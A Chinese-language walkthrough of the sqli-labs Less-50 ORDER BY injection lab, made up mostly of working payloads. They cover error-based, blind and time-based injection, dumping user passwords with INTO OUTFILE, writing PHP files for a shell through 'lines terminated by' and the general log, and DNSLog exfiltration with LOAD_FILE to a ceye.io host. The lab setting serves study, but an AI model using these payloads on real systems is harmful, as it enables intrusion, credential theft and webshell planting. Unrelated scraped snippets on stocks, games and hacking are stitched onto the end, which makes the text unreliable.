参考文献:
国光 Less-38
lcamry Less - 46
DNSLog在MySQL注入中的实战
Dnslog在SQL注入中的实战
Less-50
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错、布尔盲注、延时盲注、堆叠注入 | ORDER BY $id |
$id=$_GET['sort']; $sql="SELECT * FROM users ORDER BY $id"; if (mysqli_multi_query($con1, $sql)) 输出查询信息 else print_r(mysqli_error($con1));
和Less-46相比,查询方式由mysql_query变成了mysqli_multi_query,因此支持堆叠注入,在注入方面会更加灵活。
order by不同于where后的注入点,不能使用union等进行注入。
SELECT [ALL | DISTINCT | DISTINCTROW ] [HIGH_PRIORITY] [STRAIGHT_JOIN] [SQL_ *** ALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] select_expr [, select_expr] ... [into_option] [FROM table_references [PARTITION partition_list]] [WHERE where_condition] [GROUP BY {col_name | expr | position} [ASC | DESC], ... [WITH ROLLUP]] [HAVING where_condition] [ORDER BY {col_name | expr | position} [ASC | DESC], ...] [LIMIT {[offset,] row_count | row_count OFFSET offset}] [PROCEDURE procedure_name(argument_list)] [into_option] [FOR UPDATE | LOCK IN SHARE MODE] into_option: { INTO OUTFILE 'file_name' [CHARACTER SET charset_name] export_options | INTO DUMPFILE 'file_name' | INTO var_name [, var_name] ... }
可以利用order by后的一些参数进行注入
比如
ASC | DESC LIMIT PROCEDURE INTO OUTFILE 'file_name' INTO DUMPFILE 'file_name'
查询语句为
SELECT * FROM users ORDER BY $id
order by后的数字可以作为一个注入点。也就是构造order by后的一个语句,让该语句的执行结果为一个数。该语句有三种形式
1.直接添加注入语句
?sort=(select ****)
2.利用rand()函数
?sort=rand(sql语句)
3.利用and
?sort=1 and (sql语句)
其中,sql语句可以利用报错注入和延时注入的方式。
升序和降序验证
# 升序排序 ?sort=1 asc # 降序排序 ?sort=1 desc
rand()验证
rand(true)和rand(false)的结果是不一样的
?sort=rand(true) ?sort=rand(false)
利用rand()函数可以构造出布尔和延时盲注的payload
此外rand()的结果一直都是随机的
?sort=rand()
延时验证
?sort=sleep(1) ?sort=(sleep(1)) ?sort=1 and sleep(1)
这几种方式均可以延时,延时的时间为(行数*1)秒
and (报错注入)
?sort=1+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) ?sort=0 and%20(updatexml(1,concat(0x5e24,(user()),0x5e24),1))
直接添加注入语句报错
?sort=(SELECT COUNT(*) FROM information_schema.COLUMNS GROUP BY CONCAT(0x3a,0x3a,(SELECT user()),0x3a,0x3a,FLOOR(RAND(0)*2)))
procedure *** yse参数后注入
利用procedure *** yse参数,也可执行报错注入。同时,在procedure *** yse和order by之间可以存在limit参数,我们在实际应用中,往往也可能会存在limit后的注入,可以利用procedure *** yse进行注入。
注意,procedure *** yse只能在Linux下使用
?sort=1 procedure *** yse(extractvalue(rand(),concat(0x3a,version())),1) ?sort=1 procedure *** yse(extractvalue(rand(),concat(0x3a,(SELECT+CONCAT_WS(':',username,password)+FROM+users limit 0,1))),1)
数据库的之一位为s:
?sort=RAND(LEFT(database(),1)>'r') ?sort=RAND(LEFT(database(),1)>'s')
数据库之一个字母的ASCII码为115,即s
?sort=RAND(IF(ASCII(SUBSTR(database(),1,1))>114,1,sleep(1))) ?sort=RAND(IF(ASCII(SUBSTR(database(),1,1))>115,1,sleep(1))) ?sort=(SELECT IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5('1')),null) FROM (select database() as current) as tb1)
将查询结果导入到文件中
?sort=1 INTO OUTFILE "C:/phpstudy_pro/WWW/less50.txt"
如果导入不成功的话,很可能是因为MySQL在当前Web目录下没有读写权限造成的。
访问验证是否有信息:
C:\Users\Nawkham>curl http://127.0.0.1/less50.txt 1 Dumb Dumb 2 Angelina I-kill-you 3 Dummy p@ssword 4 secure crappy 5 stupid stupidity 6 superman genious 7 batman mob!le 8 admin admin 9 admin1 admin1 10 admin2 admin2 11 admin3 admin3 12 dhakkan dumbo 14 admin4 admin4
可以将lines terminated by用于order by的情况来getshell
lines terminated by可以指定每一行之间的分隔符。
?sort=1 INTO OUTFILE "C:/phpstudy_pro/WWW/less50.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e
3c3f70687020706870696e666f28293b3f3e是<?php phpinfo();?>的十六进制编码
查看写入的文件内容:
1 Dumb Dumb<?php phpinfo();?>2 Angelina I-kill-you<?php phpinfo();?>3 Dummy p@ssword<?php phpinfo();?>4 secure crappy<?php phpinfo();?>5 stupid stupidity<?php phpinfo();?>6 superman genious<?php phpinfo();?>7 batman mob!le<?php phpinfo();?>8 admin admin<?php phpinfo();?>9 admin1 admin1<?php phpinfo();?>10 admin2 admin2<?php phpinfo();?>11 admin3 admin3<?php phpinfo();?>12 dhakkan dumbo<?php phpinfo();?>14 admin4 admin4<?php phpinfo();?>
用浏览器访问测试
局限性:在Web中代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略。如果是在Windows平台下,可以使用DNSLog数据外带,或者开启日志Getshell的方式,来获得查询内容。
利用CEYE平台读取DNS查询日志,获得外带的数据
?sort=1;SELECT LOAD_FILE(CONCAT('\\\\',(SELECT HEX(password) FROM users LIMIT 1,1),'.b182oj.ceye.io\\abc'));
开启日志getshell
?sort=1;set global general_log="ON";set global general_log_file='C:/phpstudy_pro/WWW/1.php'; ?sort=1;select "<?php phpinfo();?>";
如果页面会打印错误信息,则可以使用报错注入。在进行布尔盲注和延时盲注的时候,如果拼接方式有引号,只能使用and来进行报错和延时注入。如果MySQL有读写Web目录的权限,可以使用into oufile或lines terminated by这两种 *** ,将结果导入到一个可以访问的文件中。如果查询的SQL语句中使用了函数mysqli_multi_query,该函数可以执行多个由分号分隔的SQL语句,此时还可以进行堆叠注入。但是,堆叠注入有局限性,结果可能无法回显到前端。这时,如果是在Windows平台下,可以使用DNSLog数据外带,或者是开启日志Getshell的方式,来获取查询内容。
中新社纽约11月16日电 在又一款新冠疫苗取得进展的利好消息刺激下,美国股市16日大幅上涨。道琼斯工业平均指数和标准普尔500指数均创下历史新高。 当天,道指收于29950.44点,涨1.6...
1、Bing中搜索 google style github 2、进到项目 找到名为intellij-java-google-style.xml 文件 3、Raw 4、反键将页面存储为...
2020年11月26日,由娱乐资本论主办的CEIS2021中国娱乐产业年会暨2020金河豚奖颁奖典礼在北京成功举办。如娱文化凭借电影《奇门相术》的出色营销,斩获2020金河豚奖最佳娱乐营销网络电影案例...
本文导读目录: 1、罗布乐思被超速行驶的墙碾碎怎么过 2、怎么免疫罗布罗斯里面的安全系统进入游戏? 3、罗布乐思小游戏大师是真的吗? 4、罗布乐思国际服加入错误怎么回事 5、罗布乐思中...
本文目录一览: 1、黑客是如何攻击别人的电脑的? 2、黑客攻击种类 3、黑客有哪些攻击手段? 4、所谓的黑客攻防是通过什么实现的呢? 5、黑客攻击主要有哪些手段? 黑客是如何攻击别人...
CF空格名字怎么打?很多CF玩家们在游戏中经常遇到带有空格的角色名,可在自己创建CF角色的时候无论如何按空格键都不能让自己的名字带有空格,下面兔玩小编为大家详细介绍CF角色名里的空格到底是怎么打的。...